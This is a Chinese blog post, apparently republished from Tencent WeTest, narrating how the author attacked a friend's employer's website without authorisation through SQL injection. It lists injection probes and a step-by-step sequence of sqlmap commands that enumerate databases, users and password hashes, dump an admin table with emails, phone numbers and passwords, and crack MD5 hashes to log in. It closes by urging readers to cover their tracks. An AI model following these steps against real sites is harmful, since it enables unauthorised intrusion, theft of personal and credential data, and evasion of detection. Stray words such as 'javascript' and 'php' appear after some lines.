最近在研究Web安全相關的知識,特別是SQL注入類的相關知識。接觸了一些與SQL注入相關的工具。週末在家閒着無聊,想把平時學的東東結合起來攻擊一下身邊某個小夥伴去的公司,看看能不能得逞。不試不知道,一試還真TM得逞了,心裏有些小激動,特在此寫博文一篇,來記錄下我是如何一步步攻破這家互聯網公司的。javascript
【做案工具介紹】php
(1) AppScan滲透掃描工具java
Appscan是Web應用程序滲透測試舞臺上使用最普遍的工具之一。它是一個桌面應用程序,它有助於專業安全人員進行Web應用程序自動化脆弱性評估。python
(2) Sqlmap滲透測試工具sql
Sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現並利用給定的URL的SQL注入漏洞。數據庫
【做案細節以下】安全
首先使用Appscan工具,對www.xxx.com互聯網公司的官網進行掃描,掃描結果以下:
工具
在這56個安全性問題中,找到你感興趣的連接,例以下面這條:sqlserver
http://www.xxx.com/system/cms/show?id=1測試
爲什麼要挑出這一條呢?由於它對於SQL注入比較典型,下面普及下SQL注入經常使用手法。首先用以下語句,肯定該網站是否存在注入點:
http://192.168.16.128/news.php?id=1 原網站
http://192.168.16.128/news.php?id=1’ 出錯或顯示不正常
http://192.168.16.128/news.php?id=1 and 1=1 出錯或顯示不正常
http://192.168.16.128/news.php?id=1 and 1=2 出錯或顯示不正常
若是有出錯,說明存在注入點。
在判斷完http://www.xxx.com/system/cms/show?id=1該連接存在注入點後,接下來就啓動咱們的滲透測試工具Sqlmap,進行下一步的注入工做,詳細過程以下:
1) 再次確認目標註入點是否可用:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1
參數:
-u:指定注入點url
結果:
注入結果展現:
a. 參數id存在基於布爾的盲注,便可以根據返回頁面判斷條件真假的注入。
b. 參數id存在基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增長)來判斷。
c. 數據庫類型爲:MySql 5.0.12
2) 暴庫全部數據庫:
一條命令便可曝出該sqlserver中全部數據庫名稱,命令以下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 –dbs
參數:
–dbs:dbs前面有兩條槓,列出全部數據庫。
結果:
結果顯示該sqlserver中共包含3個可用的數據庫。
3) 獲取當前使用的數據庫
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 –current-db
參數:
–current-db:當前所使用的數據庫。
結果:
4) 獲取當前數據庫使用帳戶
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 –current-user
5) 列出sqlserver全部用戶
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 –users
6) 獲取當前用戶數據庫帳戶與密碼
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 –passwords
結果顯示該用戶可能無讀取相關係統的權限。
7) 列出數據庫中的表
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store –tables
參數:
-D:指定數據庫名稱
–tables:列出表
結果:
結果顯示共列出了69張表。
8) 列出表中字段
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin –columns
參數:
-D:指定數據庫名稱
-T:指定要列出字段的表
–columns:指定列出字段
結果:
9)暴字段內容
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C 「ag_id,email,id,mobile,name,password,status」 –dump
參數:
-C :指定要暴的字段
–dump:將結果導出
若是字段內容太多,須要花費不少時間。能夠指定導出特定範圍的字段內容,命令以下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C 「ag_id,email,id,mobile,name,password,status」 –start 1 –stop 10 –dump
參數:
–start:指定開始的行
–stop:指定結束的行
此條命令的含義爲:導出數據庫xxx_store中的表mall_admin中的關於字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的數據內容。
結果以下:
經過上圖,咱們能夠看到admin表中的用戶信息了。咱們將password字段經過md5解密,能夠獲得hash的原文密碼,經過用戶名和密碼,咱們就能夠登陸該網站了。
至此,咱們已成功入侵到一家公司的後臺,並拿到了相關的數據。不過要在這裏提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦乾淨,不讓別人發現你了!
本文由騰訊WeTest團隊提供,更多資訊可直接戳連接查看:http://wetest.qq.com/lab/
上一頁